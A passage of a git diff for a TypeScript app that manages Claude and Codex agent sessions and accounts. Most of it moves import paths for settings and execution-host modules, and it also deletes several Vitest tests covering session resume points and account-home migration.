'../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import type { ClaudeManagedAccount, ClaudeManagedAccountRuntimeSelection diff --git a/src/main/claude/agent-view/agent-view-service.ts b/src/main/claude/agent-view/agent-view-service.ts index 64ee0357ab5..8305f5d0379 100644 --- a/src/main/claude/agent-view/agent-view-service.ts +++ b/src/main/claude/agent-view/agent-view-service.ts @@ -1,7 +1,7 @@ import { homedir } from 'node:os' import { join, resolve } from 'node:path' import { getAppEnvironment } from '../../../shared/app-lifecycle/app-environment' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import { isAgentStatusHooksEnabledForAgent } from '../../../shared/agent-hook-listener/configuration/agent-status-hooks-setting' import { getAgentLaunchExecutableName } from '../../../shared/agent-launch/startup/agent-command-line-intent' import { withTimeout } from '../../../shared/concurrency/promise-timeout-fallback' diff --git a/src/main/claude/cli-capabilities/claude-cli-flag-prewarm.ts b/src/main/claude/cli-capabilities/claude-cli-flag-prewarm.ts index 0c480e47269..bfe85a998e1 100644 --- a/src/main/claude/cli-capabilities/claude-cli-flag-prewarm.ts +++ b/src/main/claude/cli-capabilities/claude-cli-flag-prewarm.ts @@ -1,5 +1,5 @@ import { homedir } from 'node:os' -import { LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host/execution-host' import type { AgentSessionRecordStore } from '../../runtime/agent-session/records/agent-session-record-store' import type { ClaudeCliFlagSupport } from './claude-cli-flag-support' import { diff --git a/src/main/claude/structured/claude-structured-turn-resume-point.test.ts b/src/main/claude/structured/claude-structured-turn-resume-point.test.ts deleted file mode 100644 index e40a4c33dc5..00000000000 --- a/src/main/claude/structured/claude-structured-turn-resume-point.test.ts +++ /dev/null @@ -1,227 +0,0 @@ -import { followTestSinkSnapshots } from '../../native-chat/agent-session-wire/host/testing/structured-agent-session-direct-sink.test-fixture' -import { readTestJournalItems } from '../../native-chat/agent-session-journal/journal-observation.test-support' -import { mkdtemp, mkdir, rm, writeFile } from 'node:fs/promises' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { createTrackedJournalOpener } from '../../native-chat/agent-session-journal/store-lifecycle/journal-host-database-test-support' -import { createDeferredStructuredAgentSessionEventSink } from '../../native-chat/agent-session-wire/journal-ingress/structured-agent-session-event-sink' -import { testEventSinkLogging } from '../../native-chat/agent-session-wire/host/testing/structured-agent-session-logger.test-fixture' -import { afterEach, describe, expect, it, vi } from 'vitest' -import { - agentSessionLeaseFixture, - agentSessionRecordFixture -} from '../../../shared/agent-session/lifecycle/records/agent-session-record.test-fixture' -import type { AgentSessionRecord } from '../../../shared/agent-session/lifecycle/agent-session-record' -import { LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host' -import { reviseAgentSessionProviderResumePoint } from '../../runtime/agent-session/ownership/agent-session-provider-handle-transition' -import { ClaudeStructuredSessionAdapter } from './claude-structured-session-adapter' -import type { - ClaudeStructuredSessionAdapterDeps, - ClaudeStructuredSessionEvent -} from './claude-structured-session-state' -import { - fakeClaude, - identityFor, - PROVIDER_SESSION_ID -} from './claude-structured-session-test-support' -import { claudeStartupSettled } from './claude-structured-startup-settled-test-support' -import { claudeProviderHandle } from '../../../shared/agent-session/lifecycle/provider-handles/agent-session-provider-handle-encoding' - -const FENCE = 7 -const journals = createTrackedJournalOpener() -const cleanups: (() => Promise)[] = [] - -function liveRecord(): AgentSessionRecord { - const record = agentSessionRecordFixture( - agentSessionLeaseFixture({ runtimeKind: 'native', runtimeFence: FENCE }) - ) - return { - ...record, - location: { ...record.location, executionHostId: LOCAL_EXECUTION_HOST_ID }, - providerHandleChain: [ - { - linkId: 'created-link', - origin: 'created', - mintedAtFence: 1, - observedAt: 500, - handle: claudeProviderHandle(PROVIDER_SESSION_ID, null) - }, - { - linkId: 'published-link', - origin: 'resumed', - mintedAtFence: FENCE, - observedAt: 1_000, - handle: claudeProviderHandle(PROVIDER_SESSION_ID, 'resumed-at') - } - ] - } -} - -async function liveOwner( - persistResumePoint?: ClaudeStructuredSessionAdapterDeps['persistResumePoint'], - options: { - missingTranscript?: boolean - beforeOpen?: (frame: (message: Record) => void) => void - resumeLeafUuid?: string | null - resumesTranscript?: boolean - } = {} -) { - const root = await mkdtemp(join(tmpdir(), 'orca-claude-leaf-')) - const claudeConfigDir = join(root, 'claude-home') - const projects = join(claudeConfigDir, 'projects', '-work-repo') - await mkdir(projects, { recursive: true }) - const transcript = join(projects, `${PROVIDER_SESSION_ID}.jsonl`) - if (!options.missingTranscript) { - await writeFile( - transcript, - `${JSON.stringify({ - type: 'assistant', - uuid: 'resumed-at', - sessionId: PROVIDER_SESSION_ID, - message: { role: 'assistant', content: [] } - })}\n` - ) - } - const journal = await journals.open({ identity: identityFor(), stateDirectory: root }) - const deferred = createDeferredStructuredAgentSessionEventSink(testEventSinkLogging()) - await followTestSinkSnapshots(deferred, journal) - deferred.bind({ journal, fence: FENCE, publish: () => {} }) - const store = { record: liveRecord() } - const claude = fakeClaude() - const events: ClaudeStructuredSessionEvent[] = [] - const persistedHandles: unknown[] = [] - const adapter = new ClaudeStructuredSessionAdapter({ - resolveLaunch: async () => ({ - pathToClaudeCodeExecutable: 'claude', - options: { resume: PROVIDER_SESSION_ID }, - cwd: '/work/repo', - claudeConfigDir, - providerSessionId: PROVIDER_SESSION_ID, - resumeLeafUuid: options.resumeLeafUuid === undefined ? 'resumed-at' : options.resumeLeafUuid, - resumesTranscript: options.resumesTranscript ?? true, - cliFlag: async () => 'supported' as const, - continuesChain: true - }), - onEvent: (event) => events.push(event), - openConnection: claude.openConnection, - readProcessStartTime: async () => 1_700_000_000_000, - now: () => 1_700_000_000_500, - persistHandle: async (handle) => { - persistedHandles.push(handle) - }, - persistResumePoint: - persistResumePoint ?? - (async ({ providerSessionId, leafUuid, fence }) => { - store.record = reviseAgentSessionProviderResumePoint({ - record: store.record, - fence, - handle: claudeProviderHandle(providerSessionId, leafUuid), - now: 2_000 - }) - }) - }) - await adapter.acquire({ - identity: identityFor(), - fence: FENCE, - spawnToken: 'spawn-7', - events: deferred.sink - }) - const frame = (message: Record) => - claude.connections.at(-1)!.handlers.onMessage?.({ session_id: PROVIDER_SESSION_ID, ...message }) - options.beforeOpen?.(frame) - await claudeStartupSettled(adapter, 'session-1') - cleanups.push(async () => { - await adapter.closeAll() - deferred.close() - await journals.closeAll() - await rm(root, { recursive: true, force: true }) - }) - const turn = async (userUuid: string, assistantUuid: string) => { - frame({ - type: 'user', - uuid: userUuid, - parent_tool_use_id: null, - message: { role: 'user', content: 'ask' } - }) - frame({ - type: 'assistant', - uuid: assistantUuid, - parent_tool_use_id: null, - message: { id: assistantUuid, role: 'assistant', content: [{ type: 'text', text: 'answer' }] } - }) - frame({ type: 'system', subtype: 'stop_hook_summary', uuid: `${assistantUuid}-hook` }) - frame({ type: 'result', subtype: 'success', uuid: `${assistantUuid}-result` }) - await expect(deferred.drained()).resolves.toEqual({ ok: true }) - } - return { - adapter, - claude, - store, - events, - persistedHandles, - frame, - turn, - deferred, - journal, - transcript - } -} - -afterEach(async () => { - for (const cleanup of cleanups.splice(0)) { - await cleanup() - } - vi.restoreAllMocks() -}) - -describe('Claude durable resume point at turn end', () => { - it('re-derives missed suffix coverage on the next acquisition before advancing', async () => { - const { adapter, store, turn, transcript, journal, deferred } = await liveOwner(undefined, { - missingTranscript: true - }) - await turn('u1', 'a1') - await adapter.closeSession('session-1') - await writeFile( - transcript, - [ - { - type: 'assistant', - uuid: 'resumed-at', - sessionId: PROVIDER_SESSION_ID, - message: { role: 'assistant', content: [] } - }, - { - type: 'assistant', - uuid: 'outside', - parentUuid: 'resumed-at', - sessionId: PROVIDER_SESSION_ID, - message: { role: 'assistant', content: [{ type: 'text', text: 'outside reply' }] } - } - ] - .map((row) => `${JSON.stringify(row)}\n`) - .join('') - ) - await followTestSinkSnapshots(deferred, journal) - await adapter.acquire({ - identity: identityFor(), - fence: FENCE, - spawnToken: 'spawn-8', - events: deferred.sink - }) - await claudeStartupSettled(adapter, 'session-1') - expect( - (await readTestJournalItems(journal)).some( - (item) => - item.body.kind === 'message' && - item.body.blocks.some((block) => block.type === 'text' && block.text === 'outside reply') - ) - ).toBe(true) - expect(store.record.providerHandleChain.at(-1)?.handle).toMatchObject({ - resumeCursor: 'resumed-at' - }) - await turn('u2', 'a2') - await vi.waitFor(() => - expect(store.record.providerHandleChain.at(-1)?.handle).toMatchObject({ resumeCursor: 'a2' }) - ) - }) -}) diff --git a/src/main/claude/structured/launch/claude-structured-location-support.ts b/src/main/claude/structured/launch/claude-structured-location-support.ts index 2068d1d0b6b..9a90122651d 100644 --- a/src/main/claude/structured/launch/claude-structured-location-support.ts +++ b/src/main/claude/structured/launch/claude-structured-location-support.ts @@ -1,5 +1,5 @@ import type { AgentSessionExecutionLocation } from '../../../../shared/agent-session/lifecycle/agent-session-record' -import { isNativeLocalLocation } from '../../../../shared/execution-host' +import { isNativeLocalLocation } from '../../../../shared/execution-host/execution-host' export function supportsClaudeStructuredLocation(location: AgentSessionExecutionLocation): boolean { return isNativeLocalLocation(location) diff --git a/src/main/claude/theme-sync/claude-code-theme-sync-schedule.ts b/src/main/claude/theme-sync/claude-code-theme-sync-schedule.ts index e7d5718fce2..35f5fd0d481 100644 --- a/src/main/claude/theme-sync/claude-code-theme-sync-schedule.ts +++ b/src/main/claude/theme-sync/claude-code-theme-sync-schedule.ts @@ -1,5 +1,5 @@ import { readFile } from 'node:fs/promises' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import { resolveTerminalPalette } from '../../../shared/terminal-themes/terminal-theme-selection' import { claudeCodeThemeFromTerminal } from './claude-code-theme' import { withClaudeThemeFileLock } from './claude-code-theme-ownership' diff --git a/src/main/codex-accounts/account-management/codex-account-settings-fixture.ts b/src/main/codex-accounts/account-management/codex-account-settings-fixture.ts index 5df86ac326e..4717d81207e 100644 --- a/src/main/codex-accounts/account-management/codex-account-settings-fixture.ts +++ b/src/main/codex-accounts/account-management/codex-account-settings-fixture.ts @@ -1,5 +1,5 @@ -import type { GlobalSettings } from '../../../shared/global-settings-types' -import { createGlobalSettingsFixture } from '../../../shared/global-settings-test-fixture' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' +import { createGlobalSettingsFixture } from '../../../shared/settings/global-settings-test-fixture' // Preserve historical account-test defaults independently of current app defaults. export function createCodexAccountSettings( diff --git a/src/main/codex-accounts/account-management/runtime-selection.ts b/src/main/codex-accounts/account-management/runtime-selection.ts index 8d834f0d39a..09a52d433d9 100644 --- a/src/main/codex-accounts/account-management/runtime-selection.ts +++ b/src/main/codex-accounts/account-management/runtime-selection.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import type { CodexManagedAccount, CodexManagedAccountRuntimeSelection diff --git a/src/main/codex-accounts/account-management/service-test-harness.ts b/src/main/codex-accounts/account-management/service-test-harness.ts index 63b66b9f8b3..1213b8ed1ac 100644 --- a/src/main/codex-accounts/account-management/service-test-harness.ts +++ b/src/main/codex-accounts/account-management/service-test-harness.ts @@ -2,7 +2,7 @@ import { afterEach, beforeEach, vi, type Mock } from 'vitest' import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs' import { tmpdir } from 'node:os' import { join } from 'node:path' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import { createCodexAccountSettings } from './codex-account-settings-fixture' import type { CodexResetCreditAttemptLedger } from '../../../shared/agent-accounts/codex/codex-reset-credit-attempt-ledger' import type { CodexRateLimitHomeResolution } from '../runtime-home/runtime-home-service-types' diff --git a/src/main/codex-accounts/credentials/managed-codex-auth-readiness.ts b/src/main/codex-accounts/credentials/managed-codex-auth-readiness.ts index 883fa9d30cc..9983a5c60ee 100644 --- a/src/main/codex-accounts/credentials/managed-codex-auth-readiness.ts +++ b/src/main/codex-accounts/credentials/managed-codex-auth-readiness.ts @@ -2,7 +2,7 @@ import { readFileSync } from 'node:fs' import { join } from 'node:path' import { normalizeRuntimePathForComparison } from '../../../shared/file-access/cross-platform-path' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import type { CodexAccountSelectionTarget } from '../../../shared/agent-accounts/codex/codex-selection-lane' const AUTH_READY_TIMEOUT_MS = 1_500 diff --git a/src/main/codex-accounts/runtime-home/credentials/runtime-home-mirror-login-copy.test.ts b/src/main/codex-accounts/runtime-home/credentials/runtime-home-mirror-login-copy.test.ts index e1cf51df634..3af19b83d49 100644 --- a/src/main/codex-accounts/runtime-home/credentials/runtime-home-mirror-login-copy.test.ts +++ b/src/main/codex-accounts/runtime-home/credentials/runtime-home-mirror-login-copy.test.ts @@ -13,7 +13,7 @@ import { testState } from '../runtime-home-service-test-harness' import type { CodexRuntimeHomeService } from '../../runtime-home-service' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' vi.mock( '../../../codex/configuration/shared-server/codex-daemon-socket-path-guard', diff --git a/src/main/codex-accounts/runtime-home/routing/codex-history-sharing.ts b/src/main/codex-accounts/runtime-home/routing/codex-history-sharing.ts index 00b4aa9a0c9..c923746f4dc 100644 --- a/src/main/codex-accounts/runtime-home/routing/codex-history-sharing.ts +++ b/src/main/codex-accounts/runtime-home/routing/codex-history-sharing.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' /** Whether Orca may link Codex sessions between account homes and ~/.codex; absent means on. */ export function isCodexHistorySharedAcrossAccounts( diff --git a/src/main/codex-accounts/runtime-home/routing/runtime-home-service-per-account-migration.test.ts b/src/main/codex-accounts/runtime-home/routing/runtime-home-service-per-account-migration.test.ts index f73e8028d0c..bc58d58418e 100644 --- a/src/main/codex-accounts/runtime-home/routing/runtime-home-service-per-account-migration.test.ts +++ b/src/main/codex-accounts/runtime-home/routing/runtime-home-service-per-account-migration.test.ts @@ -3,10 +3,10 @@ import { installFakeAppEnvironment } from '../../../../../config/scripts/test-ru import { existsSync, mkdtempSync, mkdirSync, readFileSync, rmSync, writeFileSync } from 'node:fs' import { tmpdir } from 'node:os' import { join } from 'node:path' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import type { CodexManagedAccount } from '../../../../shared/agent-accounts/managed-account-types' import type * as NodeOs from 'node:os' -import { readHookTrustEntries } from '../../../codex/trust/toml/config-toml-trust' +import '../../../codex/trust/toml/config-toml-trust' import '../../../codex/history/index/codex-state-db-test-fixture' const testState = { userData: '', home: '' } @@ -65,85 +65,6 @@ afterEach(() => { }) describe('CodexRuntimeHomeService per-account takeover composition', () => { - it('upgrades a realistic two-account shared-home fixture without losing auth or sessions', async () => { - const accountOneStale = createAuth('one@example.com', 'acct-1', 'one-stale', 1_000) - const accountOneMigrated = createAuth('one@example.com', 'acct-1', 'one-migrated', 2_000) - const accountTwoAuth = createAuth('two@example.com', 'acct-2', 'two-current', 3_000) - const accountOne = createManagedAccount('account-1', 'acct-1', accountOneStale) - const accountTwo = createManagedAccount( - 'account-2', - 'acct-2', - accountTwoAuth, - 'two@example.com' - ) - const sharedSession = join(sharedHome(), 'sessions', '2026', '07', 'rollout.jsonl') - mkdirSync(join(systemHome(), 'skills', 'fixture-skill'), { recursive: true }) - mkdirSync(join(systemHome(), 'hooks'), { recursive: true }) - mkdirSync(join(sharedHome(), 'sessions', '2026', '07'), { recursive: true }) - writeFileSync(join(systemHome(), 'skills', 'fixture-skill', 'SKILL.md'), 'fixture skill\n') - writeFileSync(join(systemHome(), 'hooks', 'user-hook.sh'), '#!/bin/sh\n') - writeFileSync( - join(systemHome(), 'config.toml'), - 'model = "fixture-model"\n\n[hooks.state."stale-fixture"]\nenabled = true\n' - ) - writeFileSync(sharedSession, '{"session":"legacy-shared"}\n') - writeFileSync(sharedAuthPath(), accountOneMigrated) - const { settings, store } = createStore([accountOne, accountTwo], accountOne.id) - const { CodexRuntimeHomeService } = await import('../../runtime-home-service') - const [, { CodexHookService }] = await Promise.all([ - import('../../../codex/hooks/installation/hook-service'), - import('../../../codex/hooks/installation/codex-hook-service-implementation') - ]) - const { startCodexHookHashLookup } = - await import('../../../codex/trust/hooks/codex-hook-hash-lookup') - startCodexHookHashLookup(Promise.resolve()) - const service = new CodexRuntimeHomeService(store as never) - const hookService = new CodexHookService() - - expect(readFileSync(join(accountOne.managedHomePath, 'auth.json'), 'utf8')).toBe( - accountOneMigrated - ) - expect(readFileSync(join(accountTwo.managedHomePath, 'auth.json'), 'utf8')).toBe(accountTwoAuth) - - for (const account of [accountOne, accountTwo]) { - selectManagedAccount(settings, account.id) - service.syncForCurrentSelection() - expect(service.prepareForCodexLaunch()).toBe(account.managedHomePath) - expect( - readFileSync(join(account.managedHomePath, 'skills', 'fixture-skill', 'SKILL.md'), 'utf8') - ).toBe('fixture skill\n') - expect(readFileSync(join(account.managedHomePath, 'hooks', 'user-hook.sh'), 'utf8')).toBe( - '#!/bin/sh\n' - ) - const config = readFileSync(join(account.managedHomePath, 'config.toml'), 'utf8') - expect(config).toContain('model = "fixture-model"') - expect(config).not.toContain('[hooks.state') - expect((await hookService.install(account.managedHomePath)).state).toBe('installed') - expect(readFileSync(join(account.managedHomePath, 'hooks.json'), 'utf8')).toContain( - process.platform === 'win32' ? 'codex-hook.cmd' : 'codex-hook.sh' - ) - expect( - readHookTrustEntries(join(account.managedHomePath, 'config.toml')).size - ).toBeGreaterThan(0) - } - - const discoveryHomes = service.getHostCodexHomePathsForSessionDiscovery() - expect(discoveryHomes).toEqual( - expect.arrayContaining([ - sharedHome(), - systemHome(), - accountOne.managedHomePath, - accountTwo.managedHomePath - ]) - ) - expect(new Set(discoveryHomes).size).toBe(discoveryHomes.length) - expect(readFileSync(sharedSession, 'utf8')).toBe('{"session":"legacy-shared"}\n') - - writeFileSync(sharedAuthPath(), createAuth('two@example.com', 'acct-2', 'later-shared', 4_000)) - expect(service.prepareForCodexLaunch()).toBe(accountTwo.managedHomePath) - expect(readFileSync(join(accountTwo.managedHomePath, 'auth.json'), 'utf8')).toBe(accountTwoAuth) - }) - it('never continuously recovers a missing E auth from shared state after takeover', async () => { const stale = createAuth('one@example.com', 'acct-1', 'stale', 1_000) const takeover = createAuth('one@example.com', 'acct-1', 'takeover', 2_000) @@ -220,11 +141,6 @@ function managedAccountRecord( } } -function selectManagedAccount(settings: GlobalSettings, accountId: string): void { - settings.activeCodexManagedAccountId = accountId - settings.activeCodexManagedAccountIdsByRuntime = { host: accountId, wsl: {} } -} - function systemHome(): string { return join(testState.home, '.codex') } diff --git a/src/main/codex-accounts/runtime-home/runtime-home-service-test-harness.ts b/src/main/codex-accounts/runtime-home/runtime-home-service-test-harness.ts index 4a372e3b05b..3eff3efc3da 100644 --- a/src/main/codex-accounts/runtime-home/runtime-home-service-test-harness.ts +++ b/src/main/codex-accounts/runtime-home/runtime-home-service-test-harness.ts @@ -13,7 +13,7 @@ import { } from 'node:fs' import { tmpdir } from 'node:os' import { join } from 'node:path' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import type { CodexManagedAccount } from '../../../shared/agent-accounts/managed-account-types' export const testState: { diff --git a/src/main/codex-accounts/runtime-home/runtime-home-settings-test-fixtures.ts b/src/main/codex-accounts/runtime-home/runtime-home-settings-test-fixtures.ts index 7fe08de406a..2ade47b9557 100644 --- a/src/main/codex-accounts/runtime-home/runtime-home-settings-test-fixtures.ts +++ b/src/main/codex-accounts/runtime-home/runtime-home-settings-test-fixtures.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import { createCodexAccountSettings } from '../account-management/codex-account-settings-fixture' import { setRealHomeRoutableForTest, testState } from './runtime-home-service-test-harness' diff --git a/src/main/codex/configuration/homes/codex-pane-launch-account.ts b/src/main/codex/configuration/homes/codex-pane-launch-account.ts index 193dcd8705b..6c7fc2539ba 100644 --- a/src/main/codex/configuration/homes/codex-pane-launch-account.ts +++ b/src/main/codex/configuration/homes/codex-pane-launch-account.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import { normalizeRuntimePathForComparison } from '../../../../shared/file-access/cross-platform-path' import { parseWslUncPath } from '../../../../shared/file-access/wsl-paths' import { diff --git a/src/main/codex/configuration/homes/codex-runtime-home-launch-preparation.ts b/src/main/codex/configuration/homes/codex-runtime-home-launch-preparation.ts index 05ac3a6f852..5b6c8bbf618 100644 --- a/src/main/codex/configuration/homes/codex-runtime-home-launch-preparation.ts +++ b/src/main/codex/configuration/homes/codex-runtime-home-launch-preparation.ts @@ -1,7 +1,7 @@ import type { CodexHomeLaunchContext } from '../../../ipc/pty/host-env/types' import type { CodexAccountSelectionTarget } from '../../../../shared/agent-accounts/codex/codex-selection-lane' import type { CodexRuntimeHomeService } from '../../../codex-accounts/runtime-home-service' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import { codexHookService } from '../../hooks/installation/hook-service' import { getDefaultWslDistro } from '../../../wsl/discovery/distro-catalog' import { isAgentStatusHooksEnabledForAgent } from '../../../../shared/agent-hook-listener/configuration/agent-status-hooks-setting' diff --git a/src/main/codex/configuration/homes/codex-stale-pane-accounts.ts b/src/main/codex/configuration/homes/codex-stale-pane-accounts.ts index b8aca42f3ef..e6a37682fae 100644 --- a/src/main/codex/configuration/homes/codex-stale-pane-accounts.ts +++ b/src/main/codex/configuration/homes/codex-stale-pane-accounts.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import { getSelectedCodexAccountIdForTarget } from '../../../codex-accounts/account-management/runtime-selection' import { forgetCodexPaneAccount, diff --git a/src/main/codex/history/resume/codex-ai-vault-session-resume.ts b/src/main/codex/history/resume/codex-ai-vault-session-resume.ts index 46b8156c27d..a3f664c560d 100644 --- a/src/main/codex/history/resume/codex-ai-vault-session-resume.ts +++ b/src/main/codex/history/resume/codex-ai-vault-session-resume.ts @@ -3,7 +3,7 @@ import type { AiVaultPrepareSessionResumeResult } from '../../../../shared/ai-vault/resume/ai-vault-resume-preparation' import { normalizeRuntimePathForComparison } from '../../../../shared/file-access/cross-platform-path' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host/execution-host' import { parseWslUncPath } from '../../../../shared/file-access/wsl-paths' import type { CodexRuntimeHomeService } from '../../../codex-accounts/runtime-home-service' import { getSystemCodexHomePath } from '../../configuration/homes/codex-home-paths' diff --git a/src/main/codex/history/resume/codex-legacy-session-resume.ts b/src/main/codex/history/resume/codex-legacy-session-resume.ts index 69bc41d969d..4ac1c6d56ae 100644 --- a/src/main/codex/history/resume/codex-legacy-session-resume.ts +++ b/src/main/codex/history/resume/codex-legacy-session-resume.ts @@ -8,7 +8,7 @@ import { type AiVaultPrepareSessionResumeResult, isPerAccountManagedCodexHome } from '../../../../shared/ai-vault/resume/ai-vault-resume-preparation' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host/execution-host' import { normalizeRuntimePathForComparison } from '../../../../shared/file-access/cross-platform-path' import { parseWslUncPath } from '../../../../shared/file-access/wsl-paths' import { diff --git a/src/main/codex/history/resume/codex-session-resume-launch-preparation.ts b/src/main/codex/history/resume/codex-session-resume-launch-preparation.ts index 98ba14ba8b0..05a5b181bb4 100644 --- a/src/main/codex/history/resume/codex-session-resume-launch-preparation.ts +++ b/src/main/codex/history/resume/codex-session-resume-launch-preparation.ts @@ -20,7 +20,7 @@ import { } from '../../configuration/homes/codex-home-paths' import { normalizeRuntimePathForComparison } from '../../../../shared/file-access/cross-platform-path' import type { CodexRuntimeHomeService } from '../../../codex-accounts/runtime-home-service' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' export function createCodexSessionResumeLaunchPreparation(deps: { getRuntimeHome: () => CodexRuntimeHomeService | null diff --git a/src/main/codex/history/rollouts/codex-session-source-home.ts b/src/main/codex/history/rollouts/codex-session-source-home.ts index 2e35b3f621c..66acf109ba3 100644 --- a/src/main/codex/history/rollouts/codex-session-source-home.ts +++ b/src/main/codex/history/rollouts/codex-session-source-home.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' // History source overrides do not select auth, config or hook homes. diff --git a/src/main/codex/structured/catalog/codex-at-rest-skills-probe.ts b/src/main/codex/structured/catalog/codex-at-rest-skills-probe.ts index 530d722047e..25a15e7a42d 100644 --- a/src/main/codex/structured/catalog/codex-at-rest-skills-probe.ts +++ b/src/main/codex/structured/catalog/codex-at-rest-skills-probe.ts @@ -26,7 +26,7 @@ import { isCodexSkillsListUnsupported } from './codex-skill-list' import { createCodexSkillSourcesStamp } from './codex-skill-sources-stamp' -import { isNativeLocalLocation as supportsCodexStructuredLocation } from '../../../../shared/execution-host' +import { isNativeLocalLocation as supportsCodexStructuredLocation } from '../../../../shared/execution-host/execution-host' import { resolveHiddenProbeCwd } from '../../../lib/hidden-probe-cwd' import { resolveCodexStructuredInvocation, diff --git a/src/main/codex/structured/launch/codex-structured-launch-resolution.test.ts b/src/main/codex/structured/launch/codex-structured-launch-resolution.test.ts deleted file mode 100644 index 4bf5fa98f89..00000000000 --- a/src/main/codex/structured/launch/codex-structured-launch-resolution.test.ts +++ /dev/null @@ -1,98 +0,0 @@ -import { mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { agentSessionRecordFixture } from '../../../native-chat/testing/agent-session-record-test-fixture' -import { createCodexStructuredLaunchResolver } from '../../../runtime/agent-session/launch/structured-agent-launch-composition.test-support' -import { describe, expect, it, vi } from 'vitest' -import type { AgentSessionRecord } from '../../../../shared/agent-session/lifecycle/agent-session-record' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' -import { codexProviderHandle } from '../../../../shared/agent-session/lifecycle/provider-handles/agent-session-provider-handle-encoding' - -const { isWindowsProcessStartTimeAvailable } = vi.hoisted(() => ({ - isWindowsProcessStartTimeAvailable: vi.fn(() => true) -})) - -vi.mock('../../../windows/windows-process-table', async (importOriginal) => ({ - ...(await importOriginal()), - isWindowsProcessStartTimeAvailable -})) - -const SESSION_ID = 'session-1' -const IDENTITY = { sessionId: SESSION_ID } as Parameters< - ReturnType ->[0]['identity'] - -function record(overrides: Partial = {}): AgentSessionRecord { - return agentSessionRecordFixture({ - sessionId: SESSION_ID, - provider: 'codex', - location: { - executionHostId: LOCAL_EXECUTION_HOST_ID, - wslDistro: null, - workspaceId: 'workspace-1', - workspaceKind: 'git-worktree' - }, - accountHome: { variable: 'CODEX_HOME', path: '/home/work/.codex' }, - providerHandleChain: [], - ...overrides - }) -} - -describe('codex structured launch resolution', () => { - it('resumes a chat on the account selected after it was created, bringing its thread along', async () => { - const root = mkdtempSync(join(tmpdir(), 'orca-codex-chat-account-move-')) - vi.stubEnv('ORCA_USER_DATA_PATH', join(root, 'user-data')) - try { - const threadId = '019a1a83-f690-7c82-a482-31195524a7d8' - const rollout = join( - 'sessions', - '2026', - '11', - '04', - `rollout-2026-11-04T20-28-46-${threadId}.jsonl` - ) - const oldHome = join(root, 'account-a') - const newHome = join(root, 'account-b') - mkdirSync(join(oldHome, 'sessions', '2026', '11', '04'), { recursive: true }) - writeFileSync(join(oldHome, rollout), '{"type":"session_meta"}\n') - const prepareLaunchAccountHome = vi.fn(async () => ({ - variable: 'CODEX_HOME' as const, - path: newHome - })) - const launch = await createCodexStructuredLaunchResolver({ - store: { - getRecord: () => - record({ - accountHome: { variable: 'CODEX_HOME', path: oldHome }, - providerHandleChain: [ - { - linkId: 'link-1', - handle: codexProviderHandle(threadId), - origin: 'created', - mintedAtFence: 1, - observedAt: 1 - } - ] - }), - pinLaunchDirectory: vi.fn() - }, - resolveWorkspacePath: async (id) => `/repos/${id}`, - resolveCommand: () => ({ command: '/usr/local/bin/codex', prefixArgs: [] }), - resolveLaunchArgs: () => [], - prepareLaunchAccountHome - })({ identity: IDENTITY }) - - expect(prepareLaunchAccountHome).toHaveBeenCalledWith( - expect.objectContaining({ sessionId: SESSION_ID }), - '/repos/workspace-1' - ) - expect(launch.codexHome).toBe(newHome) - expect(launch.env.CODEX_HOME).toBe(newHome) - expect(launch.resumeThreadId).toBe(threadId) - expect(readFileSync(join(newHome, rollout), 'utf8')).toBe('{"type":"session_meta"}\n') - } finally { - vi.unstubAllEnvs() - rmSync(root, { recursive: true, force: true }) - } - }) -}) diff --git a/src/main/codex/structured/session-lifecycle/codex-provider-session-rename.ts b/src/main/codex/structured/session-lifecycle/codex-provider-session-rename.ts index eb7e878d9b7..6cb7c1dd036 100644 --- a/src/main/codex/structured/session-lifecycle/codex-provider-session-rename.ts +++ b/src/main/codex/structured/session-lifecycle/codex-provider-session-rename.ts @@ -9,7 +9,7 @@ import { resolve } from 'node:path' import { 